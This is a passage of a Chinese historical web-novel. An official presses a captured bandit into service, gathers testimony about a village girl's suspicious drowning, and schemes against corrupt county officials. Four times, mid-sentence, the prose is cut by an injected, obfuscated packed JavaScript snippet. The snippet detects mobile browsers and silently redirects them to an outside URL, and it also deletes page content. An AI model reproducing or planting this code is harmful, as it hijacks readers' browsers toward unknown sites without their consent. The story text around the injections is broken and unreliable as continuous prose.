当真没办法和他这种人说话。因为这样的人根本就没有什么弱点可言,和他周旋除了自讨苦吃或自取其辱之外别无结果。 源尚安懒得理会项连的怒火,他移开目光望着帐顶上圆形的夜空:“我之所以来见你,是因为还愿意给你一个机会。毕竟如果是我的话,在仇敌还没有得到报应的时候,我无论如何都不会甘心赴死的。” 他的唇角随之有了上扬的趋势,似是又想再逗一逗项连:“不过现在看来这机会你也不需要,那么——” 项连不由得呼吸急促,身躯也随之扭动起来,看起来像是想竭力站起身子:“等等、等等……” 源尚安压根不理他,把板凳放回原处,就要叫人:“戚将军,劳烦你——” 项连急切道:“大人且慢!” 源尚安停住了声音背对着人,项连又道:“……我、我愿意协助大人。” 源尚安有些失望:“项连,你的诚意不够,我不接受。” 项连跟着周身一颤,实在不知道这人又在打什么算盘,未知的恐惧一瞬袭上心头。 “你弄错了一件事,不是我求着你和我合作,而是我赏你了一次机会,”源尚安道,“你的生死捏在我的手里,说句不好听的,就算我把你当条狗,你现在也得趴下来摇尾巴。” 项连霎时怒不可遏,从小到大他何曾听过旁人如此向自己发号施令。他身上的骄傲浑然天成,那是血统和家世赋予他的尊严,绝不允许旁人轻易亵渎。 他又有与之相配的毅力和实力,只有敌手向他俯首听命或是痛哭求饶的份,没有人可以凌驾于其上。 他心有不甘,可他困于笼中,犹如一头被拔了獠牙又锁住利爪的猛兽,此刻只能选择俯首帖耳。 总有一日他要让这个人付出代价! 项连呼吸急促,起身时带得腰上铁索叮呤咣啷一阵响。 他跪下叩头道:“我……我愿效忠大人,惟您马首是瞻。” 源尚安没有立即回头,只问:“若有违约,该当如何?” 项连把头埋得极低,藏住了一切神色:“如有违约,自当是天地不容。” 源尚安回过身来:“好一个天地不容。” 他知道项连没那么老实,最多服气了五六分,剩下还有些说不清道不明的念头暂时被隐藏了起来。 但源尚安并不担心和他这样的人对峙。项连有武功傍身,看似可怕,实则对他来说根本不值得一提。 因为源尚安看得出来他有弱点又不甘心,大仇未报这个事实让他如鲠在喉。而许多时候愤怒和仇恨恰恰是一个人最佳的动力。 他身上藏有暗器,如果真的打算一死了之绝不开口,那他早就可以动手了,不必等到现在。 他不甘心去死,还幻想着有朝一日翻盘,这就是他最大的痛处。 只要找准了软肋,再强大的人也没有什么可怕的。 比起俊秀威猛的项连,像赵兴那样的官场老油子才是最难对付的人。 源尚安让戚玹借着酒宴旁敲侧击,又找了永丰县的村民核对情况,知道他同夏州本地豪右关系匪浅。 这样擅长推诿扯皮的人才不好打交道。 项连不知源尚安在想什么,只以为是对自己表态仍旧不满,又低声细语道:“大人若还是不满,不妨给我指条明路。” 他眼神黯淡了许多,声色微哑:“……大人想叫在下如何侍奉?” 源尚安冲帐外道:“先给他解了手上绳子,铁链暂不要动。草药和饮食也可以给他。” 等小兵进来之后,他顺势掀开营帐,为项连留了个悬念:“不必着急,需要用到你的时候我自然会来找你。” —————— 源尚安在人带领下去了村民们的歇脚之处,他刚一掀开帐篷,那有些疯癫的少妇便像看到了救命稻草一般扑了上去,连声道:“官爷,还请官爷做主啊官爷……” 一旁的齐大娘见状立时把人朝后拽:“你弄错了,官爷不是来寻你的,快回去、快回去。” “谁说的,”源尚安道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872819|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就是来专程找这位夫人的。” 齐大娘不禁啊了声。 源尚安不仅自个儿来,还叫了军医和自己一起过来。 可那少妇顾不得自己身上伤势未愈,含着泪一把抓住了源尚安的衣袖:“官爷……我的锦儿她、她是被人害死的……” 齐大娘立刻担忧地看了看四周,怕被旁人听去,复又上前想劝。 这样哭诉的话说过多少回了?可哪一次真正派上过用场? 要么是收获一堆冷嘲热讽,要么是换来官爷不耐烦地驱赶,再或者便是恼羞成怒地威胁驳斥。迄今为止最好的态度也不过是推诿扯皮,而后拖着不办,好似是故意等着人被绝望慢慢熬死。 齐大娘知道其间多半有蹊跷,可她又能多说些什么?她所能做的不过是把伤心欲绝的孙夫人接回去包好身上的伤。 其余的话,为了家中亲眷,她也不能多说。 却不曾想源尚安牢牢握住了孙夫人布满伤疤与脏污的手:“我相信您的话,麻烦您再说得明白些,好吗?” 孙夫人险些泪如雨下,她用力忍住泪滴,几近切齿地重复道:“官爷,她身上有伤……那伤不对劲,我不相信她是失足落水……” 源尚安点点头,转身跟大夫嘱托了几句什么,后者立刻请人将孙夫人暂且带出治疗。 “大娘,您也一并前去吧,做个人证。” 齐大娘却摇着头,下意识地想退后几步:“你到底是什么人?” 她见过太多披着羊皮的狼,一个个慈眉善目,嘴上说的好听,背地里却恨不得吸尽人血再扒皮抽骨。公道正义在他们这里不过是一句空话。 她怎么敢再度踏入一场骗局? 源尚安还未启唇,齐大娘便又勉强笑道:“官爷,您误会了。她自从孩子不在了便一直疯疯癫癫的,那些话不能当真的。她给您添麻烦了,我代她跟您致歉、致歉……” 源尚安扶着她坐到了一边,齐大娘似是觉得那板凳烫人,刚坐下就差点一跃而起:“官爷使不得啊官爷……” 源尚安眼神决然:“她到底是真疯还是假疯,大夫检查过后自有判断。” “……” 齐大娘没法直视他,却忽略不了他的声音:“许多时候把人说疯,只不过是为了降低她证言的可信度罢了。” 齐大娘还想最后挣扎一番:“官爷,您……就当是我求您这一回吧,她早就死了丈夫和娘家,现在又死了孩子,连个去处都没有,您……您不要再为难她了。这案子早就了结了,您……” 她知道有些人虽然不收贿赂,但贪图名声,新官上任之后力求作出个爱民如子又廉洁奉公的模样讨得朝廷赞誉,不免就把目光放到了那些陈年旧案上。 然而许多时候都是雷声大雨点小,或者虽然有了结果但不到几年又要换人。当官的倒是走得轻巧,剩下那些被翻案的人可就遭了殃。 源尚安闻声一笑:“您是不是弄错了,我没说我是那种为民请命的人。” 齐大娘瞪圆了眼:“您……” 面前人虽然温文和善,可盖不住笑得狡黠:“我关注这案子,纯粹是因为我和县太爷以及赵兴有仇,还是大仇。” “这仇我必须得报,我一见到他们还捧着乌纱帽,我心里就不痛快。” 8. 他乡客(三) 以齐大娘如今的年岁,源尚安知晓她过往的年月里一定耳闻目睹过太多义正辞严却又虚无缥缈的许诺。 这个时候和她谈什么公道公理或者说什么澄清冤案的壮志都不足以换取她的信任,反而极有可能引发她的反感和抵触。 现在不是他在人跟前扮演正人君子的时候。 齐大娘一时间不知道怎么接话,她从未见过有人这般不加掩饰,明晃晃地坦诚了自己的目的和仇恨。 但她同时也稍稍松了一口气,若真是为了自己出头,那这案子该是确有水落石出的一日吧? 不过如此急着报仇……倒是与这人斯文儒雅的皮相截然不同,单看容貌齐大娘是无论如何也不会把他同街上那些恬不知耻、整日把杀人放火挂在嘴边的混混联系到一块的。 疑问随之而来,这人到底是什么身份? 源尚安似乎一眼便猜中了她心底的困惑却依旧处之泰然,他冲帐外道:“戚将军。” 戚玹即刻跨步而入,身上铁甲随之响动:“您有何吩咐?” 源尚安挥了挥手,从腰侧解下来一枚玉佩递了过去:“没有什么吩咐,不必紧张,只是我突然想送将军一样东西略表心意。” 他语调轻松随和,仿佛在同人玩笑,引得齐大娘不由得多看了几眼。 当然这其中也有戚玹的原因:毕竟在齐大娘眼里这青年出身行伍,威武健壮又眉宇俊俏,放到村子里应该是时常被媒婆关注并牵线搭桥的对象。 只是这俊秀青年不知为何有些害羞,他不敢伸手去接源尚安递来的心意,抱拳道:“末将惭愧,有道是无功不受禄。” “这不是赏赐,我已经说了,你无需紧张认真,”源尚安道,“不过是送你一个可以随时把玩消遣的小玩意罢了。” 他看似是说者无心,可旁观之人却是听者有意。 齐大娘垂眼一阵思索,她虽不知这自称要复仇的青年姓甚名谁,也不知他到底有何来头。但看他能和军中之人有说有笑,言辞随意,料想地位不会太低,极有可能是类似军师一样的存在。 恰在此时,源尚安拉过戚玹的手,把那玉佩塞进了他的掌心:“这玉佩还是一位京城故人所赠,但在这上头雕刻的白虎乃是代表勇猛善战的神兽,我思来想去,觉得它还是和将军更为相配。” 他轻轻拍了拍戚玹的掌心:“还望将军不要再推辞。” 话语刚落,齐大娘打量源尚安的眼神已然变了。 ……这年轻人不仅在军营里如鱼得水,甚至朝廷里看样子还有他能倚靠的大树? 她犹豫片刻后道:“关于那案子,大人想问些什么?” 源尚安见这一招奏效,立时叫来了刀笔吏记述,微笑道:“大娘不必紧张,能想起来什么和我说便是。” —————— 源尚安说不必紧张不是空话,他和全程就坐在齐大娘身边,用一种近乎唠家常的方式问了些问题,齐大娘起初还有些拘谨,后来便慢慢放松了下来,同源尚安聊起了天。 顾及着她也要休息,因此源尚安一直控制着语速和话题,半个时辰内问完了所有他需要的信息。最后叫刀笔吏把所有供词当着齐大娘的面念了一边再签字画押。 做完这一切后,源尚安让齐大娘该休息照常休息。 整合信息的事他来做。 从前还在廷尉府的时候源尚安就没少干类似的活,而他也是因为能力出众赢得了当朝丞相的赏识。 一通忙碌之后,他大致了解了这件所谓的溺亡案脉络。 孙夫人早年守寡,靠着浆洗的手艺独自一人把女儿阿锦拉扯大。 母女二人相依为命,所幸阿锦也是个乖巧懂事的孩子,见母亲劳累时知道主动上前帮忙,平日里也不会随意闹腾添乱。 大约半年前阿锦过了十三岁的生辰,就想着也去讨一门活计补贴家用。 她也学着母亲的样子会了浆洗的手艺,孙夫人起初还有些担心女儿的安全,但听堂弟介绍说那地方离家不远,且他又答应照看才放下心来。 最初的确也没有任何异常,孙夫人忙里偷闲跟着堂弟偷偷看望过几回,见女儿的确是在务工便也打消了疑虑。 堂弟说挂念着她的身子,叫她做完活计就好生休息,外甥女这边有自己照护。 然而这照护换来的却是阿锦的失踪。 孙夫人得知消息后险些昏倒在地,强撑着找寻无果之后只能恳求官府施以援手。 齐大娘也正是在这个时候加入了好心寻找的队伍,可是两个多月过去了,原本开朗乖巧的阿锦却像是人间蒸发了一样踪迹全无。 见状齐大娘心底其实已然有了不祥的猜测,但她见了孙夫人鬓边冒出来的白发,怕她受不了这等刺激也不敢说出口。 果不其然,事情还是照着齐大娘心中最坏的设想发展了。一个月后,官府告知孙夫人在河边找到了她女儿的尸体。 孙夫人当场昏倒在地。 齐大娘一边扶着人,一边抬头看了眼,这不看则罢,看了之后她亦是心惊胆战:尸体不仅被水泡发肿胀,面目几近腐烂,后脑和躯干上还错落着可怖的伤痕。 而负责带人打捞尸体的赵兴则说,这估计是失足落水摔伤所致。 齐大娘默然不语,等孙夫人苏醒之后断断续续地说了这个结论。 她也不敢贸然定论,因此方才源尚安问起也只是说自己并不懂得验尸,或许是个误会。 源尚安一语不发地翻看着备份的供词,对照齐大娘的描述大致画出来了几个地点。 如果要确定死因还原全貌,许多时候往往要先判断案发地和遇害地是否相同。 一个十三岁的小姑娘大冬天的跑到河边上做什么? 因此孙夫人怀疑过堂弟偷偷把阿锦卖了。阿锦也不是什么贪玩好动,而是想要逃出魔爪。 可是不光阿锦失踪,孙夫人的这位堂弟竟也是一夜之间失去了所有踪影。官府赶到时已然是人去楼空,全然无从查证。 要想搜捕此人多半要跨出县城,可永丰县外徘徊游荡的土匪叫人犯了难:万一中途引起了摩擦,以他们的战力直接就能被一锅端了。 得不偿失。 大半年的苦苦支撑换来的仍旧是失足溺亡的结语,孙夫人不信,还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872820|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着四处奔波讨回公道。 于是她成了众人口中的“疯子”。 源尚安收好供词,问方才负责记述的刀笔吏:“你怎么看这案子?” 小吏如实道:“不好查。” 源尚安道:“要是好查也不会成如今这样。” 他转而看向戚玹:“我倒是有些好奇,这位赵县尉什么来头?” 戚玹道:“旁敲侧击问到的消息,说他和夏州富商郑良辅走得很近。这位郑老板做米行生意,在夏州风评不错,从前闹灾荒的时候他还主动向官府捐过粮食。” 源尚安问:“旁敲侧击?” 戚玹瞧起来就是个忠厚老实的模样,还能玩旁敲侧击这种花花肠子? 戚玹下意识低头,似乎是因为这样的动作不容易使人注意到眼下伤疤。 他如实道:“是少主教的。他说察言观色也是为将之道。” 源尚安赞许道:“看来你学得着实不错。” 戚玹没想到能收获肯定,一时有些发懵没转过来弯。 趁他发愣的空源尚安起身拍了拍戚玹的肩膀:“下次见着我不必颔首低头。” 戚玹:“……” 他实在接不上话。 论年纪他还要比源尚安大个一岁左右,可他整日只知道埋头苦练照章办事,别说历经风月了,身侧连个朋友都没有。 他和人打交道的经验都极其有限,更是没法应对只已然成精的狐狸了。 源尚安一向点到即止见好就收,他看戚玹差不多明白了自己的赞赏,便头也不回地出了营帐要找孙夫人再问问话。 此刻她一定也有千言万语要说。 源尚安还没走远,赵兴便笑吟吟地上前抱拳,巧妙地挡住了去路:“顾大人天没亮就要忙活军务,当真叫我等自愧不如。” 源尚安也没谦虚:“赵县尉酒醒得倒是快。” 赵兴哎呦了声:“公务在身,不敢懈怠啊。这不是想着趁早把大家都接回去吗?总不能再给少将军添麻烦。” “有安置方案了么?” 赵兴乐道:“顾大人何必为此担忧!太爷早命人腾空了屋子,先将人接过去,其余物资按人数配备,重建村落的工匠也在路上了。” 他大手一挥,身后几名小卒已然带出来了营帐里安歇的三十来号村民。 赵兴向源尚安亮了凭证:“太爷催得急,还望顾大人体谅。” 旋即又喊了人:“清点人数!即刻启程。” 趁此机会赵兴含着讨好的笑上前,不动声色地想朝源尚安怀里塞着什么:“少将军来这里一趟也不容易,一点点心意,还望笑纳。” 源尚安低头一看,竟是两枚金条。 小小县尉出手居然也能如此阔绰。 源尚安没有回绝的动作,而是借着袖口遮掩收了下来。 赵兴见他如此上道,不免嘿嘿了几声,却听身后报道:“少了两人!” 赵兴没有立刻发作,而是用眼珠自下而上地谛视了源尚安须臾。 他随后道:“我记得好像有个姓孙的疯婆子,该不会是一不小心走丢了吧。” 9. 他乡客(四) 他话音未落,后头营帐突然被人掀开,紧随而来的还有青年抱怨的声音:“少胡说八道,你给她看过病?” 赵兴眉毛一挑,见来人一副军医打扮,身上还有阵挥之不去的草药味,便道:“那婆娘神志不清,胡言乱语是常有的事,有劳大夫费心了。” 源尚安回身看去,见孙夫人随着乔沐苏一并出来,朝着赵兴行礼:“见过大人。” 源尚安略微抬了下眼睫暗示:“这位是赵县尉。” 乔沐苏这才缓和了脸色:“原来是赵大人。” 赵兴顿了顿,不由自主地分出片刻心神来端详着面前二人。 他为官做宰多年,也算是阅人无数,却从未见过风采有如这两人者:一人身姿挺拔犹如凌霜青松,另一人气度出尘仿若傲雪孤梅。 赵兴眨了眨眼,一瞬竟是说不出话来。 “既然人已到齐,那我们就不再耽搁诸位了,”赵兴道,“顾大人,后会有期。” 源尚安却没有放人走的意思:“对了,不知剿匪一事赵大人可有安排?” “少将军英明神武,四周匪徒早已闻风丧胆,”赵兴恭维道,“他们哪敢再来!顾大人多虑了!” 身为县尉,赵兴自然不希望外人过多插手内部事务。 源尚安忧心道:“怎么是多虑?不知赵大人可曾听闻过‘除恶务尽’这四个字?这些匪徒好比虎豹豺狼,若不能一网打尽此后必遭反咬。” 赵兴道:“我岂会不知?只是少将军从汾州赶来已是不易,我们怎么好再度劳烦!” 依照当朝律令,各州郡之间的确不该相互干涉。赵兴想的是据此足以挡住源尚安的计划。 然而源尚安注定是个出乎意料之人。 “我们少主他是奉天子诏令剿匪,”源尚安道,“总得做出点成绩,好让陛下开颜,您说是不是?” 赵兴旋即松了口气,看来这年轻人也不是什么不撞南墙不回头的二愣子,剿匪对他而言也不过是一场生意。 他略微琢磨两下:“主簿放心,少将军此次为我等解围实属大功一件,我等定会如实上报。” 源尚安淡然一笑:“急什么,我话还没说完呢。” 赵兴听见自己心脏咯噔一响。 这顾主簿含着笑看人的模样怎么这么叫人不舒服?像是狐狸上了身似的。 赵兴只感觉背上爬来了几只不安分的蚂蚁,顿时耐心丧失了大半,可又不得不陪下去。 “不知大人还有什么吩咐?” 源尚安正色道:“并非我们故意纠缠不放,而是这窝歹徒里有人狡猾逃脱。据我所知此人心狠手辣,手上人命无数。又因为身形强壮武艺高超,伤了我们不少弟兄。若不及时拿下,恐会戕害无辜,以致牵连你我。赵县尉倘若还有疑问,大可同少主当面对质。” 赵兴暗自龇牙咧嘴,看来这一回躲是躲不掉了。 他转了转眼珠,转而选择顺坡下驴:“既然事态紧急,我等也不该阻拦,顾大人,请吧。” —————— 军营里的夜总不会太过安静,对于寻常人家来说此刻或许正是安眠之时,但对于驻扎在外又追踪着目标的将士们而言,许多时候夜晚反而需要他们加倍集中精神。 因为类似偷袭暗杀的小动作,往往都会挑夜黑风高的时候进行,故而源素臣命令士兵不可懈怠,谁敢在值班的时候开小差,谁第二日就会被当成典型严肃处理。 他治军严明,绝不允许帐下士兵当那种游手好闲又骚扰百姓的兵痞子,而且又往往以身作则,是以大家虽然心里怕他,却也是真正的敬佩他愿意听他号令。 从上至下,无一例外,哪怕是身经百战的老将卫襄心中也是相当敬重这位还不到三十的统帅。 源素臣对着地图道:“土匪通常喜欢占山为王,若能堵住下山之路,同时切断水源,擒拿他们便如同瓮中捉鳖。” “报——” “进来。” 寻微道:“那几个匪徒招供说他们是龙虎山寨下头的小喽啰,从前跟着三统领朱获手底下办事。但后来龙虎山寨大概是分赃不均闹了矛盾,朱获就带领手下出走单干。不过他们地位不高,没资格见朱获本人,过去几年只是盘桓在永丰县附近做些‘小生意’。” “若没有一定把握,不会有人突然自立门户,”源素臣忽而道,“朱获既然能带着人单独出走,至少在心里有一定盘算。这样的人不会容忍手底下随意行动没有章法,否则人心早散了。” 寻微却不是十分赞同:“可是选择做土匪的大多是一些粗人,饱了上顿不管下顿也不是没有可能。” “不会。” “……为什么?” 源素臣耐心道:“你方才不是说他们干这行已经有好几年了吗?” 寻微皱眉:“所以呢?” 源素臣引导道:“你说,强盗和响马的区别是什么?” 寻微垂眸思索,趁此机会源素臣道:“强盗打家劫舍往往是临时起意,作案手法也大多粗糙,换句话说就是无组织无纪律。这些人还不成气候,想把他们缉拿归案也容易一些。” 他顿了顿,俯瞰着地形图上的山峦河流,又道:“但如果想发展成土匪,专门以打劫为生,那就需要一定的组织和计划。什么时候出手,什么样的人适合作为目标,每次出动几个人,这都是他们需要研究的内容。” 寻微沉思一阵:“这样看来,朱获才是那块难啃的硬骨头?” 源素臣撤回了按在地形图上的双手,抬眸起身时竟有几分乱世枭雄的威仪:“土匪都是被养起来的。” 若能靠着种田或是一门手艺活安身立命养活全家,没有人愿意打落草为寇的主意。 成了土匪就意味着四海为家居无定所,还要时不时面临正规军的追杀,惨死之后还未必有人收尸。真正的大争之世里哪有话本中极具诱惑力的宝藏,能让人去冒险挑战官府的底线。 加入响马的原因,基本可以概括为八个字:官逼民反,走投无路。 有没有那种天生的恶徒坏种? 当然有,譬如寻微搜集来的讯息就显示朱获从前就喜欢和人打架闹事,因而被衙门抓捕归案判了个流放边疆。 然而流放路上此人并不老实,他凭借着三寸不烂之舌,竟然说动了队伍里其余几个犯人。他们趁着解手的机会杀了押送官兵,逃入夏州山林做了土匪。 但这支队伍能逐渐发展壮大,最后成为夏州一霸,其间必是少不了有人或主动或被动地投靠。 而在这数年的时间里,但凡官府愿意上心,但凡他们真的有灭尽土匪为民造福的意志,这伙响马都不会发展成现在这样:无所顾忌,甚至连太守都敢半路截杀。 军帐里一瞬沉默,毕竟寻微和卫襄在率军前来的路上已然看过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872821|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多狼籍不堪的白骨。 “冰冻三尺非一日之寒,”卫襄感叹道,“此后定然少不了恶战。” 外头小兵道:“少主,府君来了。” 源素臣面上的冷然即刻融化了不少:“让他进来。” 卫襄的目光即刻看向帐外,只见这青年一身蓝黑直领大襟长袍,长发束冠,衣衫花纹也不似达官贵人那般繁杂多样,唯有胸襟处以金线绣出了简易的忍冬藤叶。 他步履轻缓,带得脑后飘带随之舞动,一并送来阵寒梅幽香。 卫襄看了第一眼便不由得地要看第二眼。他自认是半个粗人,不懂那些风花雪月,面对源尚安所能想到的词也唯有“青年才俊”四字。 源尚安向卫老将军微微致意,至于源素臣则不讲究那些虚礼,等他直截了当问:“找我做什么?” 他虽语气和缓,但面上还是严肃不减。既如此源尚安便要替他乐一乐,语调轻松道:“想欠你个大人情。” 源素臣卡了少顷,引得一旁寻微都忍不住想偷笑出声。 源素臣有些嗔怪的意思:“……你呀。” 源尚安坐到了一边:“我要去一趟永丰县,既是调查旧案,也是寻找土匪线索,需要一些人手。” 源素臣道:“病还没好透就想着乱跑,不是跟你说这几日都好好休息吗?” 源尚安道:“夏州响马猖獗已久,越快铲除越好。不能因为我一个人耽搁。” 卫襄又忍不住看着源尚安。 这是他头一回见到此人,先前只是在军中听过些赞赏他运筹帷幄、神机妙算的传言。卫襄不是居功自傲爱摆架子之人,但也不免私下觉得这些赞誉是否有些过分。 毕竟这只是个二十来岁的年轻人,不管放在官场还是战场,都显得太稚嫩了。 卫襄犹豫着是否该收回眼神,然而恰是这一犹豫被源尚安抓到了破绽:“卫老将军若有疑问不妨直言?” 卫襄一怔,那双眼睛流转着的神采分明在说,他当真有看透人心的本事。 “……铲除土匪自然是一件要务,但是,”卫襄瞄了眼源素臣,见他并未开口才继续道,“但是我们初来乍到,人生地不熟,贸然带人前往是否有打草惊蛇之嫌?” “况且我从戚将军处听闻,永丰县对于剿匪不算积极,我们如此行动万一招致他们反感,再被参上一本越界干涉州郡事务怎么办?” 说罢,卫襄抱拳道:“末将愚见,此事还需从长计议。” 源尚安道:“不知将军说的从长是多久?一天、十天、一个月还是一年?” 这番语气与他平日里的温润如玉大不相同,堪称是不客气了。 卫襄也是心头一惊,若不是这人依然辞色柔和,他都要以为下一句话是派人将自己立刻拿下了。 “我们可以等,所有人都可以等,唯独夏州等不起也不能等,”源尚安道,“今日是永丰县数百人罹难,明日又会有东丰县西丰县被土匪洗劫。夏州已然是病入膏肓,若不能做到快刀斩乱麻,那只会跟这滩脓血一并腐朽。” 卫襄喉结一动,还想辩驳几句:“我不是说不动手,但是、但是他们不是不愿意配合剿匪吗……” “不愿意我们可以劝他们剿匪,劝不动那就以利诱之,这两者都不行,那就——” 源尚安神色决然,开口时尽是不容置疑的气势:“那就逼他们剿匪。” 10. 布疑阵(一) 卫襄一时说不出话来,停顿了良久才问道:“不知府君说的逼迫是什么意思?” 源尚安反问道:“老将军认为为什么夏州官府对于剿匪一事从不上心?” 不等他回答,源尚安便又道:“说白了,就是因为土匪每次只洗劫百姓,那些刀从来没有砍到他们头上过。所以在他们眼里这从来不是要紧的事,土匪烧杀强掠就烧杀强掠,不会影响自己的财路和仕途就行。” “更何况如今天子年少,尚不能够震慑百官,四方监察不力,奏报又会被层层阻截,朝廷根本不可能得知夏州的真实情况。在他们眼里普天之下哪还有能制止自己的人?” 还有几句话源尚安没有言明,在他到来之前,这帮土匪为何从来不和官府作对,只骚扰黎民百姓?很难说这二者之间是不是早已暗通款曲:土匪们心照不宣地尽量绕开官兵和官家的财物,官府也对此睁一只眼闭一只眼。所谓的剿匪,只不过是些表面功夫做做样子。 如果真是这样,那他们突然决定对自己下手就显得更为可疑。 是受了什么人的委托决定斩草除根吗? 源尚安脑海中快速划过朝廷间百官的面孔,呼吸也不禁有些急促。 是丞相宗楚宁的暗示,还是与他同一阵营的世家坐不住了呢? 可如果真是他们暗中授意,那当初调任他做夏州太守的安排岂不是多此一举? 源尚安暂时没有找到线索,只能暂且把这个疑问放在一边。但他隐隐感觉这个问题的答案直接关系着这一切的幕后主使,只有他打到最后一关才能得到解答。 卫襄不知道他内心所思所想,可心脏却按捺不住为他加速跳动。 这人是毫无疑问的掌控者,他纵览全局,俯瞰着棋盘上的一兵一卒,而后出人意料地埋下一子,留待日后爆发决胜。 卫襄虽然依旧还是不能完全拿得准源尚安,却已经被他说服,一时半会儿想不出任何辩驳之词。 他道:“既然府君心中已有明断,那么若有用到末将之处还请府君尽管吩咐。” 卫襄复又看向源素臣:“少主。” “今日操练已然开始,不可轻易懈怠,去吧。” 卫襄和寻微得了令,分别抱拳告辞。 帐内只剩下了他和源素臣两人。 源尚安正想说些什么,源素臣却已然伸出来了一只手搭在他额间:“你昨夜又没好好休息。” 源尚安道:“不敢休息。” 危机近在咫尺,他的确不敢懈怠。 但他好似真的被源素臣轻描淡写的一句话激起来了潜藏的疲倦。源尚安眨了几眼,竟是隐约觉得有些困顿,不由得两手交叠桌前趴了上去。 半醒半昏之间,源尚安隐隐觉得好似有一只温暖的手摸了摸自己的发顶,温言哄道:“睡吧,我过会儿叫你。” 源尚安迷迷糊糊地闭上了眼睛,脑中不似方才清明,再睁眼时发觉身上盖着件玄色外袍。 他一眼就认出来那是源素臣的衣裳:哥哥比他高,骨架子也要更大一些。是以两人小时候并不太适用那套“哥哥的衣服穿旧了给弟弟”的惯例。源素臣的衣裳穿在他身上不是松了点就是袖口裤腿长了一截,总之没有特别合身过。 于是源司繁给他银钱,让他自己挑合适的衣裳穿。 他记得那时候拢共挑了一大堆,色泽款式都相差不大,唯有衣襟上的花纹不大一样。 源尚安拿着衣服问他,你觉得哪种好看? 源素臣看来看去,最终单独拎出来了那件绣有忍冬纹的长衫递了过去。 他说忍冬的寓意好,也更适合。 源尚安对这花纹的含义没有深究,但细看了阵,发觉源素臣说的对。 “醒了,”源素臣道,“不再睡一会儿?” 源尚安觉得鼻尖有药味萦绕,睁眼一看果然源素臣把熬好的退烧药端了上来,自言自语道:“也没睡多久,两盏茶的功夫就醒了。醒了就把药喝了,喝完了再走。” 源尚安想到那苦涩发酸的味道就觉得头疼嗓子也疼:“……能不喝吗?” “多大了?喝口药还要人哄。” 源尚安道:“我是觉得好多了,没那个必要。” 源素臣道:“你身子什么状况自己心里不清楚吗?” 他拨了下木勺:“还想让我喂你啊。” 源尚安拗不过他,只好乖乖把药汁喝完随后漱口清理了一番。 做完这一切后他起身道:“我可走了。” 源素臣对他过往的行事风格了如指掌:“你那是骗人去了。” 源尚安道:“或许彼此彼此吧。” 他说完这句伸手掀开帐篷,临别之际源素臣不多说什么伤春悲秋的话,只道:“注意身子,别太累着。” —————— 一路上赵兴都在琢磨源尚安的身份。 从他言语之间来看,按理说该是军师一类的人物。可不知为何赵兴总莫名感觉源尚安身上有一种说不出来的气质。 ……就好像他已经居于要职多年了。 不过他若真是军师,日常参与出谋划策决断大小事务,有这等威望也是正常,并不能说明什么。 一行人被赵兴安置在了一处客栈,他随即借口要护送村民离开了。 事态有变,他不能坐视不理,得提前知会个消息才成,不能到时候被人打个措手不及。 赵兴找来队长,让他按计划把那三十来号人送去安置,自己则去找了县丞潘理全透露消息。 潘县丞摸了把山羊胡:“不就是想为自己搏个功名,你着什么急。” 赵兴道:“我听说这位少将军做事一向雷厉风行,怕不会轻易罢休。” “那咱们就成全他不就好了。” 赵兴如鲠在喉:“可是……” 潘县丞道:“老赵,他们那种年轻人我最清楚,怀着一腔热血,正是想建功立业的时候。咱们成全他,让他出这个风头抓一拨人回去,这事儿也就了了。他要是不肯走,到时候我们就参他一本职权僭越。” 赵兴嘴巴前后动了动,又道:“……你还记得那个姓孙的婆娘吗?不知怎的,我一想到她就觉得不放心啊。” 潘县丞被他逗笑了:“你一个当官的还怕她?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872822|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这婆娘早疯了,谁知道会不会说出点什么。” “那就更不用担心了,疯子连刑责都担不了全部,更别说当证人用了。” 眼见赵兴还是有点犯嘀咕,潘县丞干脆又支一招:“你要是还放心不下,就给她塞个三四两银子,再找人劝她两句,她保准不觉得冤了。” 这几两银子能抵得上穷苦人家一年的开销。 